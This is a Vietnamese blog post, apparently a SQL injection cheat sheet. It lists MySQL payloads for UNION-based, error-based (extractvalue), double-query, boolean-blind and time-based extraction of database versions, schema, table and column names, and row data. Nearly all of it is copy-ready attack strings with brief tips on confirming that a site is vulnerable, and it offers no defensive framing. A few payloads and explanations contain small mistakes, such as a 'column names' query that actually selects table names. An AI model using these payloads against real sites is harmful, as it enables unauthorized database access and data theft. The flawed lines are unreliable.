Một số câu lệnh cơ bản của SQL injection
8:28 PM
Add Comment
UNION
UNION được sử dụng để nối thêm query SQL injection đến một truy vấn hợp pháp và kết hợp các thông tin chúng ta muốn lấy với các truy vấn hợp pháp. Lưu ý rằng bạn cần phải liệt kê các cột đầu tiên, điều này có thể đạt được bằng cách sử dụng các chức năng ORDER BY hoặc sử dụng UNION với các giá trị NULL.
Giả sử có hai cột:
Truy xuất database version:
1 UNION ALL SELECT NULL,version()--
Truy xuất database names:
1 UNION ALL SELECT NULL,concat(schema_name) FROM information_schema.schemata--
Truy xuất table names:
1 UNION ALL SELECT NULL,concat(TABLE_NAME) FROM information_schema.TABLES WHERE table_schema='database1'--
Truy xuất column names:
1 UNION ALL SELECT NULL,concat(column_name) FROM information_schema.COLUMNS WHERE TABLE_NAME='table1'--
Truy xuất data:
1 UNION ALL SELECT NULL,concat(0x28,column1,0x3a,column2,0x29) FROM table1--
Truy xuất data from another database:
1 UNION ALL SELECT NULL,concat(0x28,column1,0x3a,column2,0x29) FROM database2.table1--
Error Based: Khi trang web không xuất hiện thông tin, chỉ hiện lỗi ra trang web.
Kĩ thuật Xpath: dùng extractvalue() để vượt qua việc phân tích cú pháp của dữ liệu XML, sử dụng với phiên bản PHP máy chủ 5.1 trở lên, kèm theo đó là dùng limit
Truy xuất database version:
1 AND extractvalue(rand(),concat(0x3a,version()))--
Truy xuất database names:
1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(0x3a,schema_name) FROM information_schema.schemata LIMIT 0,1)))--
Truy xuất table names:
1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(0x3a,TABLE_NAME) FROM information_schema.TABLES WHERE table_schema="database1" LIMIT 0,1)))--
Truy xuất column names:
1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(0x3a,TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_NAME="table1" LIMIT 0,1)))--
Truy xuất data:
1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(column1,0x3a,column2) FROM table1 LIMIT 0,1)))--
Truy xuất data from another database:
1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(column1,0x3a,column2) FROM database2.table1 LIMIT 0,1)))--
Double Query
Đây là kĩ thuật truy vấn 2 lần
Truy xuất database version:
1 AND(SELECT 1 FROM(SELECT COUNT(*),concat(version(),FLOOR(rand(0)*2))x FROM information_schema.TABLES GROUP BY x)a)--
Truy xuất database names:
1 AND (SELECT 1 FROM (SELECT COUNT(*),concat(0x3a,(SELECT schema_name FROM information_schema.schemata LIMIT 0,1),0x3a,FLOOR(rand(0)*2))a FROM information_schema.schemata GROUP BY a LIMIT 0,1)b)--
Truy xuất table names:
1 AND (SELECT 1 FROM (SELECT COUNT(*),concat(0x3a,(SELECT TABLE_NAME FROM information_schema.TABLES WHERE table_schema="database1" LIMIT 0,1),0x3a,FLOOR(rand(0)*2))a FROM information_schema.TABLES GROUP BY a LIMIT 0,1)b)--
Truy xuất column names:
1 AND (SELECT 1 FROM (SELECT COUNT(*),concat(0x3a,(SELECT column_name FROM information_schema.COLUMNS WHERE TABLE_NAME="table1" LIMIT 0,1),0x3a,FLOOR(rand(0)*2))a FROM information_schema.COLUMNS GROUP BY a LIMIT 0,1)b)--
Truy xuất data:
1 AND(SELECT 1 FROM(SELECT COUNT(*),concat(0x3a,(SELECT column1 FROM table1 LIMIT 0,1),FLOOR(rand(0)*2))x FROM information_schema.TABLES GROUP BY x)a)--
Truy xuất data từ một database khác:
1 AND(SELECT 1 FROM(SELECT COUNT(*),concat(0x3a,(SELECT column1 FROM database2.table1 LIMIT 0,1),FLOOR(rand(0)*2))x FROM information_schema.TABLES GROUP BY x)a)--
Suy luận
Khi không có dữ liệu hoặc thông báo lỗi được trả về, bạn có thể sử dụng sự chậm trễ thời gian hay true / false để lấy thông tin cơ sở dữ liệu. Lưu ý rằng các công cụ tự động như sqlmap giúp tăng tốc độ của quá trình.
Boolean
Sử dụng kiểu giá trị true/false kết hợp với ascii, true là 1 và false là 2. Để thực hiện truy vấn kết hợp với limit
Kiểm tra lỗi của web
Với câu lệnh truy vấn bên dưới, website sẽ hiển thị như bình thường, nếu có lỗi thì website đã dính lỗi
1 AND 1=1
Trong khi đó, với câu lệnh này, website phải hiển thị lỗi mới đúng, tuy nhiên nếu website vẫn không có gì xảy ra thì website đó có lỗi
1 AND 1=2
Truy xuất version:
1 AND (ascii(substr((SELECT version()),1,1))) > 52--
Một cách tốt hơn để truy xuất version là kết hợp với LIKE
1 AND (SELECT version()) LIKE "5%"--
Truy xuất databases:
1 AND (ascii(substr((SELECT schema_name FROM information_schema.schemata LIMIT 0,1),1,1))) > 95--
Truy xuất tables:
1 AND (ascii(substr((SELECT TABLE_NAME FROM information_schema.TABLES WHERE table_schema="database1" LIMIT 0,1),1,1))) > 95--
Truy xuất columns:
1 AND (ascii(substr((SELECT column_name FROM information_schema.COLUMNS WHERE TABLE_NAME="table1" LIMIT 0,1),1,1))) > 95--
Truy xuất data:
1 AND (ascii(substr((SELECT column1 FROM table1 LIMIT 0,1),1,1))) > 95--
Truy xuất data from another database:
1 AND (ascii(substr((SELECT column1 FROM database2.table1 LIMIT 0,1),1,1))) > 95--
Time Based
Kết hợp sử dụng if và sleep để truy vấn
Kiểm tra lỗi:
1 AND sleep(10)--
Truy xuất version:
1 AND IF((SELECT ascii(substr(version(),1,1))) > 53,sleep(10),NULL)--
Truy xuất version sử dụng LIKE:
1 AND IF((SELECT version()) LIKE "5%",sleep(10),NULL)--
Truy xuất databases:
1 AND IF(((ascii(substr((SELECT schema_name FROM information_schema.schemata LIMIT 0,1),1,1)))) > 95,sleep(10),NULL)--
Truy xuất tables:
1 AND IF(((ascii(substr((SELECT TABLE_NAME FROM information_schema.TABLES WHERE table_schema="database1" LIMIT 0,1),1,1))))> 95,sleep(10),NULL)--
Truy xuất columns:
1 AND IF(((ascii(substr((SELECT column_name FROM information_schema.COLUMNS WHERE TABLE_NAME="table1" LIMIT 0,1),1,1)))) > 95,sleep(10),NULL)--
Truy xuất data:
1 AND IF(((ascii(substr((SELECT column1 FROM table1 LIMIT 0,1),1,1)))) > 95,sleep(10),NULL)--
Truy xuất data từ database khác:
1 AND IF(((ascii(substr((SELECT column1 FROM database1.table1 LIMIT 0,1),1,1)))) >95,sleep(10),NULL)--
0 Response to "Một số câu lệnh cơ bản của SQL injection"
Post a Comment
Nội Quy Khi Comment:
» Các bài comment phải nghiêm túc, không dung tục, không spam.
» Nội dung phải liên quan tới chủ đề bài viết.
» Những nhận xét spam sẽ bị xóa.
» Sử dụng tài khoản Google để được trợ giúp.
» Nặc danh thường không được chào đón.
Note : Hãy để lại nhận xét bên dưới bạn nhé !